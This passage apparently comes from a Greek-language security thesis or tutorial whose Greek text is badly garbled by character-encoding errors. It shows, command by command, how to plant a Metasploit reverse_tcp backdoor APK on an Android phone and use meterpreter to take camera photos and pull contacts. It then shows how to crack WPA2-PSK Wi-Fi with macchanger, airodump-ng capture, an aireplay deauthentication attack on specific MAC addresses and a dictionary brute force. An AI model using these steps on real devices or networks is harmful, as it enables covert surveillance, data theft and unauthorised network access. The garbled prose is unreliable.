΢ε µία ππαγµαηηθή επίζεζε ο επηηηζέµενορ ζα πποζπαζοωζε µε θάποηα µέζοδο ζηεγανογπαθίαρ να θπωτεη 

ηο απσείο αςηψ ζε θάποηα εηθψνα παπάδεηγµα πος δεν ζα θαίνεηε ψηη ήηαν γηα θαθψ ζθοπψ θαη ψηαν ο 

ζηψσορ ανοίξεη ηεν εηθψνα ζηο παπαζθήνηο να ηπέξεη θαη ηο απσείο πος θπωβεηε απψ πίζυ θαη να ξεθηνήζεη 

µία αποµαθπςζµένε ππψζβαζε ηος επηηηζέµενος. 
 

Ένα άιιο πηζανψ ζενάπηο απψ ηα ποιιά ζενάπηα ζα ήηαν ο επηηηζέµενορ να ζηείιεη ηο απσείο µέζυ mail 

θαη µε ηεσνηθή phishing να πείζεη ηο ζωµα ψηη ηο ζςγθεθπηµένο απσείο ηον ενδηαθέπεη θαη ηο ζωµα ζα ηο 

θαηεβάζεη ζηον ςποιογηζηή ηος. Αςηψρ ο ηπψπορ είναη ο ποηο δηαδεδοµένορ ποιιά σπψνηα ηϊπα θαη αθψµα 

ιεηηοςπγεί µε επηηςσία. 
 

Ένα ηπίηο πηζανψ ζενάπηο απψ ηα ποιιά ζα µποποωζε να ήηαν ένα memory stick ψπος µέζα ζα έσεη ένα 

script , ζα ανηηγπάτεη ζε θάποηα ζέζε πος δεν ζα θαίνεηε θαη ζα ηπέσεη αςηψµαηα ζηον ςποιογηζηή ηος 

ζηψσος ηο απσείο. Η ζςγθεθπηµένε ηεσνηθή γηα να ζευπεζεί πεηςσεµένε ζα ππέπεη ο ζηψσορ να ηο βπεη 

ηςσαία µε µία παπαπιανεηηθή εηηθέηα απψ έξυ ϊζηε µε ηεσνηθή phishing να ηον βάιεη ζε πεπηέπγεηα θαη 

να ηο ηπέξεη ζηο µεσάνεµά ηος. 
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εηθψνα 3.144 αθοω µε θάποηον απψ ηοςρ ποιιοωρ δεθάδερ ηπψποςρ πος ςπάπσοςν ζα εγθαηαζηαζεί ηο 
θαθψβοςιο ιογηζµηθψ ζηο smartphone µε android ηος ζηψσος θαη ηο backdoor είναη ενεπγψ ήπζε ε ϊπα ηος 

metasploit. Θα ηπέξυ ζηο cmd ηος kali linux ηεν ενηοιή msfconsole γηα να ξεθηνήζεη ε πιαηθψπµα ηος 

metasploit. 

 

Αθοω έσεη θοπηϊζεη ε πιαηθψπµα ηος metasploit ζα δϊζυ ηεν ενηοιή ζηο metasploit use 

exploit/multi/handler ϊζηε να ενεπγοποηήζυ αςηψ ηο module. Η δοςιεηά αςηοω ηος module είναη αν 

δηασεηπίδεηαη ένα ή πεπηζζψηεπα sessions πος είναη ενεπγοποηεµένα µε άιιοςρ ςποιογηζηέρ. 
 
 
 
 
 
 
 
 

 

εηθψνα 3.145 Μαδί µε ηο exploit module ηο handler ζα ππέπεη να οπίζυ θαη ένα payload ψπος ζα σπεηαζηεί 

ψηαν ηεν αδςναµία ηος άιιος ζςζηήµαηορ ζα ηεν εθµεηαιιεςηεί ηο metasploit. ΢ηο ζςγθεθπηµένο ζενάπηο ζα 

σπεζηµοποηήζυ γηα payload ηο reverse_tcp ψπος ψηαν ηο ιογηζµηθψ πος ππψζζεζα ζηον ςποιογηζηή ηος ζηψσος 

θαη ανοίξεη θάποηο backdoor ηψηε αςηψ ηο payload ζα δεµηοςπγήζεη µία ζωνδεζε µεηαξω ηος kali linux θαη ηo 

android device ηος ζηψσος. Θα δϊζυ ηεν ενηοιή set payload android/meterpreter/reverce_tcp θαη ζα 

θοπηϊζεη µαδί µε ηο module ηος handler. 
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εηθψνα 3.146 ζα πςζµίζυ ηο exploit reverce_tcp να εγθαζηδπωζεη µία ζωνδεζε πίζυ ζηο ζηο µεσάνεµα kali 

γηα αςηψ πςζµίδυ ηεν δηεωζςνζε ηος kali linux θαη ζε ποηο port να ζςνδεζεί ϊζηε να εγθαζηδπωζεη ένα session 

µεηαξω ηος android device θαη ηος kali linux. 

 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.147 αθοω είναη ψια έηοηµα , ηο backdoor έσεη ζηεζεί ϊζηε να ηπέξεη µε επηηςσία ο θϊδηθαρ ηος 
payload ζηο reverce_tcp γηα να ζςνδεζεί µε επηηςσία ηο metasploit ζηεν ζςζθεςή ηος ζηψσος ζα ηπέξυ ηεν 

ενηοιή exploit ϊζηε να ξεθηνήζεη ε δηαδηθαζία. 

 

Γηα ηηρ ανάγθερ ηερ παποςζίαζερ ζα εγθαηαζηήζυ ηο teamviewer ζηο θηνεηψ android θαη ζηο Kali linux. 

Η εγθαηάζηαζε ζηο θηνεηψ ηειέθυνο γίνεηε θαηεςζείαν απψ ηεν εθαπµογή ηος google play πος έσεη θάζε 

android ζςζθεςή by default. 
 

Γηα ηο kali linux ζα θαηεβάζυ απψ ηο επίζεµο site ηος teamviewer ηο teamviewer γηα debian version 

αθοω ε δηανοµή kali είναη βαζηζµένε ζηο Debian linux οπψηε ζα εγθαηαζηαζεί µε επηηςσία. Σο πυρ γίνεηε 

ε εγθαηάζηαζε ηος kali linux ζα ηο δείξυ ζε άιιο θεθάιαηο. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.148 ψπυρ θαίνεηε ζηεν εηθψνα έσεη 

ξεθηνήζεη ηο session µεηαξω ηος kali linux θαη ηος 

smartphone android. Σο απσείο έσεη εηζέιζεη θανονηθά 

µέζα ζηο θηνεηψ πος δεµηοωπγεζα ππην µε ηο 

msfvenom. Σο µψνο πος ιείπεη είναη να γίνεη ε 

εγθαηάζηαζε. 
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εηθψνα 3.149 Η ζςζθεςή android πποεηδοποηεί ππην γίνεη ε 

εγθαηάζηαζε ηος απσείος πος έθηηαξε ο msfvenom. Λέεη ψηη ο 

σπήζηερ ζα έσεη δηθαηϊµαηα ππψζβαζερ ψπυρ ζηεν ιίζηα µε 

αποζεθεςµένερ επαθέρ , να δηαβάζεη να ιαµβάνεη θαη να ζηέινεη 

µενωµαηα , να ηπαβάεη θυηογπαθίερ , να εσογπαθεί 

αποµαθπςζµένα θαη άιια ποιιά. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.150 επηπιέον ιέεη ψηη ζα έσεη ππψζβαζε ζηα απσεία. 
 

Να ζβήζεη ε να δηαβάζεη απσεία πος είναη αποζεθεςµένα 
µέζα ζηεν ζςζθεςή. 
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εηθψνα 3.151 αθοω 
 

έγηνε εγθαηάζηαζε 

ηος .apk απσείος µέζα 

ζηεν ζςζθεςή ηος 

android θαηεςζείαν 

εγθαζηδπωζεθε ένα 
 
session µεηαξω ηερ ζςζθεςήρ android θαη µε ηον ςποιογηζηή µε ηο kali linux. 
 
 
 
 
 
 
 
 

 

εηθψνα 3.152 απψ 
 

ηεν ζηηγµή πος 

εγθαηαζηάζεθε ηο 

απσείο ζηο 

smartphone µε ηο 

ιεηηοςπγηθψ android 

θαη έδπαζε ζαν 

backdoor ϊζηε να 

ιεηηοςπγήζεη ηο 

payload ηος 

reverce_tcp , ο 

handler δηασεηπίδεηαη 

ηο session πος 

δεµηοςπγήζεθε θαη 

ηο επγαιείο 
 
meterpreter είναη έηοηµο να δεσηεί ενηοιέρ να εθηειέζεη αποµαθπςζµένα ζηον ςποιογηζηή ηος ζηψσος. 
 

Η ιίζηα ηυν ενηοιϊν πος µποπϊ να δϊζυ ζηον meterpreter θαη να ηη εθηειέζεη είναη µεγάιε θαη δεν 

γηνψηαν να ηα βάιυ ψια ζε ένα screenshot. Μεπηθέρ απψ ηηρ ποιιέρ ενηοιέρ πος µποπεί να δϊζεη θάποηορ 

ζηον meterpreter είναη ε θαηαγπαθή ήσος απψ ηο µηθπψθυνο , θαηαγπαθή βίνηεο ή θυηογπαθίαρ απψ ηεν 

θάµεπα , να ηπαβήξεη ηα µενωµαηα ή ηηρ επαθέρ ηος θηνεηοω , να εµθανίζεη ηεν ηοποζεζία ηος θηνεηοω 

πος βπίζθεηε θαη άιιερ ποιιέρ επηιογέρ. 
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εηθψνα 3.153 µε αςηήν ηεν επηιογή 

µποπϊ να δυ ποηερ θάµεπερ είναη 

δηαζέζηµερ ζηο smartphone ηος 

ζηψσος. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.154 αν δϊζυ ηεν ενηοιή 

webcam_snap 2 ζηον meterpreter ε ζςζθεςή 

android ζα ηπαβήξεη θυηογπαθία απψ ηεν 

θάµεπα ηος θηνεηοω συπίρ να ηο αποζεθεωζεη 

ζηεν ζςζθεςή. Θα αποζεθεςηεί ζηον 

ςποιογηζηή πος είναη ηο kali linux θαη έδυζε 
 
αποµαθπςζµένα ηεν ενηοιή µέζυ ηος meterpreter. 
 
 
 
 
 

 

εηθψνα 3.155 ε παπαπάνυ 

εηθψνα είναη screenshot απψ 

ζηηγµηψηςπο πος ηπάβεξε ε θάµεπα 

ηος θηνεηοω µέζο ηος meterpreter. 

Είσα ζεθϊζεη ηο θηνεηψ θαη 

θοίηαδε ε θάµεπα ζηεν οζψνε ηος 

kali linux θαη µέζυ ηος meterpreter 

δίνυ ηεν ενηοιή να βγάιεη 

θυηογπαθία συπίρ να θάνυ θάηη 

απψ ηο θηνεηψ. 
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εηθψνα 3.156 αν δϊζυ ηεν ενηοιή sysinfo ζηον meterpreter ζα δϊζεη θάποηερ πιεποθοπίερ γηα ηο 
smartphone ψπυρ ψηη σπεζηµοποηεί android 5.1 ιεηηοςπγηθψ θαη απσηηεθηονηθή ηος επεξεπγαζηή είναη 64 bit. 
 

∆ίνονηαρ ηεν ενηοιή dump_contacts ζα ηπαβήξεη αποµαθπςζµένα ψηη επαθέρ έσεη αποζεθεςµένερ 

ζηο android θαη ζα ηηρ αποζεθεωζεη µέζα ζηον ςποιογηζηή µε ηο kali linux ζε ένα απσείο .txt. 
 
 

 

εηθψνα 
 

3.157 
 

αποζήθες 

ζε ψιερ ηηρ 

επαθέρ ζε 

ένα .txt 
 

απσείο 

ζηεν ζέζε 
 

/root ηος 
 
kali linux. 
 
 
 
 
 

 

εηθψνα 3.158 ε ιίζηα µε 

ηηρ επαθέρ ζηο θηνεηψ ηος 

πήπε ηο metasploit απψ ηεν 

αποµαθπςζµένε ππψζβαζε 

ζηο θηνεηψ ηος ζηψσος. 

 

Απψ ηεν ζηηγµή πος ζα 
αποθηήζεη έναρ σπήζηερ 
 

αποµαθπςζµένε ππψζβαζε ζηο θηνεηψ ενψρ ζωµαηορ οη ζςνέπεηερ µποπεί να είναη έυρ θαη θαηαζηποθηθέρ. 

Αν ο σπήζηερ είναη αππψζεσηορ θαη θαηεβάδεη οποηαδήποηε εθαπµογή άγνυζηερ πποειεωζευρ µέζυ 

παπαπιάνεζερ θαη να πέζεη ζωµα phishing ηψηε ε εθαπµογή πος µποπεί να θαηεβάζεη µποπεί να έσεη 

θπςµµένο θαθψβοςιο ιογηζµηθψ trojan horse ψπος µποπεί να σπεζηµοποηεζεί ζαν backdoor γηα να 

αποθηήζοςν θαθψβοςιοη σπήζηερ ππψζβαζε.Αν αςηοί οη σπήζηερ αποθηήζοςν δηθαηϊµαηα root ηψηε 

µποπεί ηο ζωµα να πέζεη ζωµα παπαθοιοωζεζερ µέσπη θαη να ενηοπίδοςν ηεν ζέζε πος βπίζθεηε ζηον 

θψζµο. Πος µένεη , πος πεγαίνεη ηη ιέεη θαη άιια ποιιά αν ο σπήζηερ δεν είναη πποζεσηηθψρ θαη δεν έσεη 

ένα αξηψιογο antivirus εγθαηεζηεµένο ζηο θηνεηψ ηος. 
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3.6 WPA2 PERSONAL CRACKING 
 

΋πυρ γνυπίδοςν οη πεπηζζψηεποη πος έσοςν µία ζηοησεηϊδε γνϊζε γηα ηα αζωπµαηα ηοπηθά δίθηςα 

ξέποςν ψηη ηο παιηψ ππυηψθοιιο αζθάιεηαρ wep ζπάεη ποιω εωθοια έηζη οη πεπηζζψηεποη σπήζηερ 

θαηαθεωγοςν ζηεν αζθάιεηα ηος wpa2 personal πος είναη ποηο ποιωπιοθορ αιγψπηζµορ γηα να εηζβάιεη 

θάποηορ ζηο αζωπµαηο δίθηςο πποζθέπονηαρ εµπηζηεςηηθψηεηα θαη αζθάιεηα αιιά ςπψ πποχποζέζεηρ 

µποπεί θαη αςηψ να ζπάζεη ηο ίδηο εωθοια θαη γπήγοπα ψπυρ ηο wep. Η αδςναµία ηος wpa2 personal είναη 

πος ζα θάνεη authentication ηο passphase. Με έναν αδωναµο θυδηθψ πος είναη απιά µία ιέξε ή θπάζε ε 

ιέξε συπίρ ζωµβοια µποπεί µε ένα brute force µε θάποηο dictionary εηδηθά ζσεδηαζµένο γηα ηον σπήζηε 

ζα πποζπεπάζεη ηεν αςζενηηθοποίεζε ποιω εωθοια. 
 
 

 

΢ε θάζε wpa2 personal ςπάπσεη έναρ θυδηθψρ passphase απψ 8 έυρ 63 σαπαθηήπερ ascii θαη αςηψ ηο 

passphase έσεη µέγεζορ 256bit. Αςηψρ ο θυδηθψρ γηα να πεπάζεη θανείρ to wpa2 personal θαη να ζςνδεζεί 

ζηο αζωπµαηο δίθηςο ιέγεηε PMK (praiwise master key). Αςηψ ηο PMK γηα να δεµηοςπγεζεί αθοιοςζήηε 

έναρ αιγψπηζµορ ψπος παίπνεη ηο ψνοµα ηος δηθηωος πποζηίζεηαη µε ηο µήθορ ηος ονψµαηορ ηος δηθηωος 

θαη αςηά αναθαηεωονηαη µε ηο passphase θαη ζηεν ζςνέσεηα αςηψ ηο αποηέιεζµα πεπνάεη 4096 δηαδοσηθά 

πεπάζµαηα ηος αιγοπίζµος θαηαθεπµαηηζµοω SHA-1. ΋ιε αςηή ε δηαδηθαζία ονοµάδεηε αιγψπηζµορ 
 
PBKDF2. 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.159 Αςηψ ηο PMK ηο γνυπίδεη ηο access point ψπυρ θαη ηο µεσάνεµα πος ζέιεη να ζςνδεζεί απθεί 

να ξέπεη ηα 2 βαζηθά ζςζηαηηθά , ηο ssid θαη ηο passphase. Αςηψ ηο PMK ηο ζηέινεη ηο µεσάνεµα ζηο access 

point δεηϊνηαρ ηος να ζςνδεζεί ζηο δίθηςο θαη έηζη απσίδεη ε αςζενηηθοποίεζε ξεθηνϊνηαρ µία επηθοηνυνία 4 

εναιιάξ µενςµάηυν 4-way handshake. 

 

1) Σο access point ζηέινεη ένα ηςσαίο απηζµψ ηο (ANonce) µεγέζοςρ 256 bit θαη ηο ζηέινεη 

ζηον ενδηαθεπψµενο client. 
 

2)O client ιαµβάνεη ηο ηο Anonce θαη δεµηοςπγεί θαη αςηψρ µε ηεν ζεηπά ηος έναν ηςσαίο απηζµψ ηο Snonce. 

Έσονηαρ ςπψτε θάποηοςρ παπαµέηποςρ ψπυρ ηο PMK , ηο Anonce , ηο Snonce , ∆ηεωζςνζε mac ηος client , 

δηεωζςνζε mac ηος access point, ζα σπεζηµοποηήζεη αςηοωρ ηοςρ παπαµέηποςρ ζηον αιγψπηζµο PRF-512 µε 

αποηέιεζµα ζα είναη ε δεµηοςπγία ενψρ νέος θιεηδηοω ηο PTK (Pairwise Transient Key) µε µήθορ 512 bit ψπος 

ζα είναη σπήζηµο µψνο γηα µία ζωνδεζε. Με αςηψ ηο PTK o client θυδηθοποηεί ηο Snonce δεµηοςπγϊνηαρ µία 

τεθηαθή ςπογπαθή µε ψνοµα MIC (Message Integrity Code). Μεηά απψ ψιε ηεν 
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δηαδηθαζία ο client ζηέινεη ηο απσηθψ Snonce θαη ηο MIC ζηον access point.Σο access point µε ηοςρ 

ίδηοςρ παπαµέηποςρ δεµηοςπγεί ηο δηθψ ηος PTK θαη ζςγθπίνεη αν αςηψ πος έζηεηιε ο client είναη ηο ίδηο 

µε ηο δηθψ ηος. 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.160 Σα ππϊηα 2 βήµαηα είναη ηα ποηο βαζηθά γηα ηο wpa2 cracking 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.161 

 

Cracking 

 

Γηα να εηζβάιεη θάποηορ ζε ένα ηοπηθψ δίθηςο 802.11 πος ηο πποζηαηεωεη ένα wpa2 personal ηο ένα βαζηθψ 
επγαιείο πος σπεηάδεηαη ο επηηηζέµενορ είναη µία θεπαία ζε monitor mode γηα να πηάνεη ηα παδηοθωµαηα. 

 

Σο ππϊηο ππάγµα πος ζα θάνεη ο ςποιογηζηήρ ηος επηηηζέµενος ζα είναη να sniffarei µε ηεν θεπαία ηο ssid  
ηος access point , ηος µήθορ ηος ssid ηος access point , ε δηεωζςνζε mac ηος access point θαη επίζερ 

ζα σπεηαζηεί θαη ε δηεωζςνζε ενψρ ςποιογηζηή ήδε ζςνδεµένο ζηο access point γηα να γίνεη ζυζηά ε 
δηαδηθαζία ηος ζπαζίµαηορ ηος wpa2 personal. 

 

Σο δεωηεπο πος ππέπεη να θάνεη ο ςποιογηζηήρ ηος επηηηζέµενος είναη να πεπηµένεη µέσπη να 
θαηαγπάτεη έναν σπήζηε να ζςνδέεηε ζηο δίθηςο θαη να γίνεηε authentication. ηα 2 ππϊηα βήµαηα πος 
πεπίγπατα παπαπάνυ ζα ηα θαηαγπάτεη ε θεπαία αθοω ηο Anonce , Snonce , θαη ηο MIC ηος Snonce 
θςθιοθοποων ειεωζεπα ζηον αέπα. 

 

Αθοω έσεη θαηαγπάτεη ψια αςηά ηα δεδοµένα ο ςποιογηζηήρ ηος επηηηζέµενος δεν µένεη ηίποηα άιιο απψ ηο να 
ξεθηνήζεη µία δηαδηθαζία brute force να δοθηµάδεη ηςσαίοςρ θυδηθοωρ µέσπη να δεµηοςπγεζεί ένα MIC ψπος ζα 
είναη ηο ίδηο πος θαηέγπατε ηο monitor ηος επηηηζέµενος θαηά ηεν δηάπθεηα ηερ αςζενηηθοποίεζερ ηος σπήζηε 
µε ηο access point. ΋ηαν γίνεη αςηψ ζεµαίνεη ψηη ο επηηηζέµενορ βπήθε ηο ζυζηψ passphase. 

 

Αςηψ πος θάνεη ένα wpa2 αδωναµο θαη ζπάεη εωθοια είναη ο αδωναµορ θυδηθψρ ππψζβαζερ πος είναη 

εωθοιο να µανηεςηεί ή σπεζηµοποηοων θαζψιος ή ειάσηζηα ποιωπιοθοςρ θυδηθοωρ θαη επίζερ ε απιψηεηα 

ηος ssid πος αθήνοςν ηο default names ψπυρ cyta , default , linksys , myhome , mylan θηιπ ενϊ ζηεν 

ππαγµαηηθψηεηα άµα ένα wpa2 µε ζπάνηο ψνοµα ssid θαη ποιωπιοθο θυδηθψ µε µπεπδεµένα γπάµµαηα 

θεθαιαία , µηθπά θαη ζωµβοια ζα ήηαν απποζπέιαζηο αθψµα θαη µε ηα ζεµεπηνά δεδοµένα πος ηο 

Hardware ηυν ζωγσπονυν ςποιογηζηϊν θάνοςν δηζεθαηοµµωπηα ππάξεηρ ηο δεςηεπψιεπηο θαη ηοςρ 

πψποςρ πος πποζθέποςν ζα ήηαν ππαθηηθά αδωναηο να βπεζεί ο θυδηθψρ. 
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Από θευπία ζηην ππάξη 
 
 
 
 
 

 

΢ηο ζςγθεθπηµένο πείπαµα ζα σπεζηµοποηήζυ ηο ιεηηοςπγηθψ kali linux 64 bit εγθαηεζηεµένο ζε ένα laptop µε 

ενζυµαηυµένε αζωπµαηε θάπηα δηθηωος. Γηα να ζηγοςπέτυ ψηη ε θάπηα είναη ζυζηά εγθαηεζηεµένε θαη έηοηµε 

ππορ σπήζε ζε ένα ηεπµαηηθψ ζηο Kali linux ζα πιεθηποιογήζυ ηεν ενηοιή airmon-ng 

 

εηθψνα 3.162 εδϊ θάνεηε 

ψηη ε θάπηα είναη 

εγθαηεζηεµένε ζυζηά. ΢ηο 

Kali linux αιιά θαη ζηηρ 

πεπηζζψηεπερ δηανοµέρ 

linux ηο wlan0 ζςµβοιίδεη 

πάνηα ηεν αζωπµαηε θάπηα 

δηθηωος 
 
ενϊ ηο eth0 ζηηρ πεπηζζψηεπερ δηανοµέρ linux ζςµβοιίδεη ηηρ ενζωπµαηερ θάπηερ δηθηωος πος 

δηθηςϊνονηαη µε ethernet θαιϊδηο. 
 

∆εωηεπο βήµα είναη να αιιάξυ ηο mac address ηος µεσανήµαηορ µος πποζυπηνά ζα ηο ανηηθαηαζηήζυ 

µε µία τεωηηθε mac address πος ψηαν ζα εθπέµπεη αζωπµαηα θαη ζα θαίνεηε ε mac address µος ζα δείσνεη 

δηαθοπεηηθή mac address. Ο θωπηορ ιψγορ πος ηο σπεζηµοποηϊ είναη γηα ιψγοςρ αζθάιεηαρ θαη θςζηθά µε 

θαθψβοςιοςρ ζθοποωρ. ΢ηεν ζςγθεθπηµένε παποςζίαζε είναη πποαηπεηηθψ θάηη ηέηοηο αθοω ηο αζωπµαηο 

δίθηςο πος ζα ζπάζυ έσυ πάπεη ηεν άδεηα απψ ηον δηασεηπηζηή αιιά αρ ηο πποζζέζυ θαη αςηψ ηο 

θοµµάηη. Σο επγαιείο πος ζα σπεζηµοποηήζυ ιέγεηε macchanger. 

 

εηθψνα ζηεν ππϊηε 
ενηοιή πος 

σπεζηµοποίεζα ηο 

macchanger --show 

wlan0 ζεµαίνεη δείξε 

µος ηο mac address 
 

πος έσεη ε αζωπµαηε 

θάπηα δηθηωος αιιά 

θαη αςηή πος 

σπεζηµοποηεί αςηήν 
 
ηεν ζηηγµή. ΋πυρ θαίνεηε ηο αιεζηνψ mac address πος έσεη ε θάπηα δηθηωος σπεζηµοποηεί θηψιαρ. Η 

δεωηεπε ενηοιή πος ζα σπεζηµοποηήζυ είναη ηο macchanger -r wlan0 πος εννοεί να αιιάξεη ηεν 

mac address Πος σπεζηµοποηεί ζε µία πποζυπηνή mac address µε ηςσαίοςρ 16αδηθοςρ απηζµοωρ. 
 
Ξανασπεζηµοποηϊ ηεν ενηοιή macchanger θαη ψπυρ βιέπυ άιιαξε πποζυπηνά ηεν mac address πος 

ζα σπεζηµοποηεί ηο laptop απψ ηεν αζωπµαηε θάπηα δηθηωος. 
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εηθψνα 3.164 ενεπγοποίεζε ηερ αζωπµαηερ θάπηαρ δηθηωος ζε monitor mode 

 

΢ηεν παπαπάνυ εηθψνα ππέπεη να αιιάξυ ηεν θεπαία mode απψ εθεί πος εθπέµπεη να ηεν βάιυ να 

ιαµβάνεη οηηδήποηε ζήµα γίνεηε broadcast ζηο θάζµα πος εθπέµπεη ένα wireless lan. Γηα να ηο θάνυ αςηψ 

ζα δϊζυ ηεν ενηοιή airmon-ng start wlan0. Η ππϊηε ενηοιή πος έδυζα ηο ifconfig wlan0 up ήηαν γηα να 

ενεπγοποηεζεί ε θεπαία ζε πεπίπηυζε πος ήηαν ανενεπγή. 
 
 
 
 
 

 

Παπψιο πος έσεη µπεη ε αζωπµαηε θάπηα δηθηωος ζε Monitor mode αθψµα δεν θαηαγπάθεη ψια ηα 

αζωπµαηα δίθηςα. γηα να ξεθηνήζεη µία ηέηοηα δηαδηθαζία ζα σπεζηµοποηήζυ ηο επγαιείο airmon-ng θαη 

ζα δϊζυ ηεν ενηοιή airmon-ng start wlan0 γηα να ξεθηνήζεη ε δηαδηθαζία. 
 

εηθψνα 3.165 
 

δίνονηαρ ηεν 

ενηοιή airmon-

ng start wlan0 

ζα εµθανίζεη 

ζηο ηεπµαηηθψ 

ηος kali linux 

αςηψ δείσνονηαρ 

ποηά δίθηςα 

ενηοπίδεη ε 

αζωπµαηε θάπηα 

δηθηωος. Εγϊ ζα 

επηηεζϊ ζε αςηψ 

µε ψνοµα 
 

ItsUnbreakable. 
 

΢ηεν ππϊηε ζηήιε θαίνεηε ηο Mac address ηος θάζε router , ζηεν έθηε ζηήιε ζε ποηο θανάιη εθποµπήρ 

εθπέµπεη , ζηεν 8 ζηήιε µε ποηο ππυηψθοιιο πποζηαηεωεηε ηο αζωπµαηο δίθηςο , θαη ζηεν 11 ζηήιε 

ηο ψνοµα ηος αζωπµαηος δηθηωος. 
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Άµα ζέιυ να ηο θάνυ ποηο ζςγθεθπηµένο ηο scanning ζε πεπίπηυζε πος έσεη ποιιά δίθηςα θαη είναη ένα 

µπέπδεµα µποπϊ να ηο θηιηπάπυ απψ ηο θανάιη. Αρ ποωµε εγϊ ζέιυ να επηηεζϊ ζηο δίθηςο µε ψνοµα 

ItsUnbreakable πος βπίζθεηε ζηο θανάιη 13 ζα δϊζυ ηεν ενηοιή airodump-ng --channel 13 wlan0. 
 

εηθψνα 3.166 ψπυρ 
 

θαίνεηε ζηεν εηθψνα ηο 

ππψγπαµµα θηιηπάπεη ηη 

ζα εµθανίδεη ζηεν οζψνε 

ανάιογα µε ηο θανάιη 

πος δηάιεξα. 
 
 

 

Σο ππϊηο βήµα πος ππέπεη να γίνεη γηα να ζπάζεη ένα δίθηςο wpa2 είναη να ζςιιάβεη ε θεπαία µος ένα 

handshaking ενψρ wireless µεσανήµαηορ µε ηον router ζηψσο ϊζηε ηο µεσάνεµά µαρ να θαηαγπάτεη ηα 

Anonce , Snonce θαη ηο PTK ψπυρ ανάθεπα ζηεν απσή ζηο ζευπεηηθψ θοµµάηη ηο πυρ δοςιεωεη ένα 

wpa2. ΢ηο δεωηεπο θοµµάηη ηος wpa2 cracking αθοω θαηαγπάτοςµε ένα authentication µε handshacking 

µε ηεσνηθή brute force ζα πποζπαζήζυ να αποθαιωτυ ηο PSK γηα να ζςνδεζϊ. 
 
 

 

Θα ζηαµαηήζυ ηο airodump-ng να δοςιεωεη θαη ζα ηο απενεπγοποηήζυ γηα να θαηαγπάθεη µψνο ηεν θίνεζε 

ηος router ζηψσος ItsUnbreakable ανηηγπάθονηαρ ηο mac address ηος. Θα ξαναδϊζυ ηεν ενηοιή airodump-

ng --channel 13 --bssid 00:1E:E5:95:7D:70 --write siegingWPA2 wlan0 
 
 
 

 

εηθψνα 3.167 γπάθονηαρ ηεν παπαπάνυ ενηοιή εννοϊ ψηη ηο ππψγπαµµα airodump-ng ζα θαηαγπάθεη απψ ηο 

θανάιη εθποµπήρ 13 ηο router µε bssid 00:1E:E5:95:7D:70 θαη ψηη θαηαγπάθεη απψ αςηήν ηεν εθποµπή ζα 

αποζεθεωεηε ζε ένα απσείο µε ψνοµα siegingWPA2 ψπος ζα ηο δεµηοςπγήζεη αςηψµαηα. ΋ιε αςηή ε 

δηαδηθαζία ζα γίνεηε απψ ηεν αζωπµαηε θάπηα δηθηωος πος ζηεν δηανοµή kali ζςµβοιίδεηε µε ηο wlan0. 
 

εηθψνα 3.168 ξεθίνεζε ε θαηαγπαθή ηος ItsUnbreakable δηθηωος. 
 
 
 
 
 
 
 
 
 

Αςηψ πος µε ενδηαθέπεη είναη να εµθανηζηεί ένα µήνςµα γηα handshaking πος ζα εµθανηζηεί πάνυ πάνυ. 

Οπψηε έσυ 2 επηιογέρ. Η ζα πεπηµένυ µέσπη θάποηα αζωπµαηε ζςζθεςή θάποηα ζηηγµή ζςνδεζεί γηα να 

θαηαγπάτυ ηο handshaking ή ζα εθµεηαιιεςηϊ θάποηα αζωπµαηε ζςζθεςή ήδε ζςνδεµένε να ηεν 

αποζςνδέζυ µε ηεσνηθή deauthentication ψπος ζα αποζςνδέεηε θαη ζα πποζπαζεί αςηψµαηα µεηά απψ 

ιίγο απψ µψνε ηερ να ζςνδεζεί πάιη ζηο access point οπψηε ηο handshaking ζα θαηαγπαθεί. 
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εηθψνα 3.169 βιέπυ πάνυ δεξηά µε ενεµεπϊνεη ψηη ζηο access point ζςνδέζεθε µία αζωπµαηε ζςζθεςή µε 
mac address F0:C1:F1:01:80:84 . 
 

Σο handshaking έσεη θαηαγπαθεί ζηο απσείο siegingWPA2 αιιά ζα ήζεια να δείξυ θαη ηο πϊρ γίνεηε ηο 

deauthentication γηα να αποζςνδέζυ ήδε µία αζωπµαηε ζςζθεςή ϊζηε να ηεν αναγθάζυ να 

ξαναζςνδεζεί ϊζηε να θαηαγπάτυ ηο handshaking. 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

εηθψνα 3.170 ανοίγυ δίπια ένα δεωηεπο ηεπµαηηθψ παπάζςπο γηα να δϊζυ ηεν ενηοιή airplay-

ng --deauth=5 -a 00:1E:E5:95:7D:70 -c F0:C1:F1:01:80:84 wlan0 εννοϊνηαρ µε αςηήν ηεν 

ενηοιή ψηη ζα ζηείιυ 5 deauthentication packages ζηεν ζςζθεςή µε mac address 

F0:C1:F1:01:80:84 γηα να αποζςνδεζεί απψ ηον router µε mac address 00:1E:E5:95:7D:70 . 
 

Αςηψ ζα αποζςνδέζεη ηο αζωπµαηο µεσάνεµα θαη ζα ηο θάνεη να ξαναζςνδεζεί αςηψµαηα 

συπίρ ηεν γνϊζε ηος δηασεηπηζηή αν ε αζωπµαηε ζςζθεςή είναη πςζµηζµένε να ζςνδέεηε 

αςηψµαηα ζε θάποηο wifi πος έσεη ξαναζςνδεζεί θαη ηο έσεη αποµνεµονεωζεη. Οη 

πεπηζζψηεπερ ζςζθεςέρ ηεν έσοςν ενεπγοποηεµένε αςηήν ηεν ιεηηοςπγία οπψηε εθεί 

βαζίδεηε ποηο ποιω ηο deauthentication. 
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Αθοω έσεη θαηαγπαθεί ηο handshaking µίαρ ζςζθεςήρ µε ηο access point είναη ε ϊπα ψπος ζα πεπάζυ ζηεν 

θάζε ηος brute force πάνυ ζηο απσείο siegingWPA2 πος θαηέγπατε ηα παθέηα γηα να βπυ ηον θυδηθψ. Γηα 

να βπυ ηον θυδηθψ ζα σπεηαζηϊ ένα ιεξηθψ εηδηθά ζσεδηαζµένο γηα brute force attacks. ΢ηο ηνηεπνεη µποπϊ 

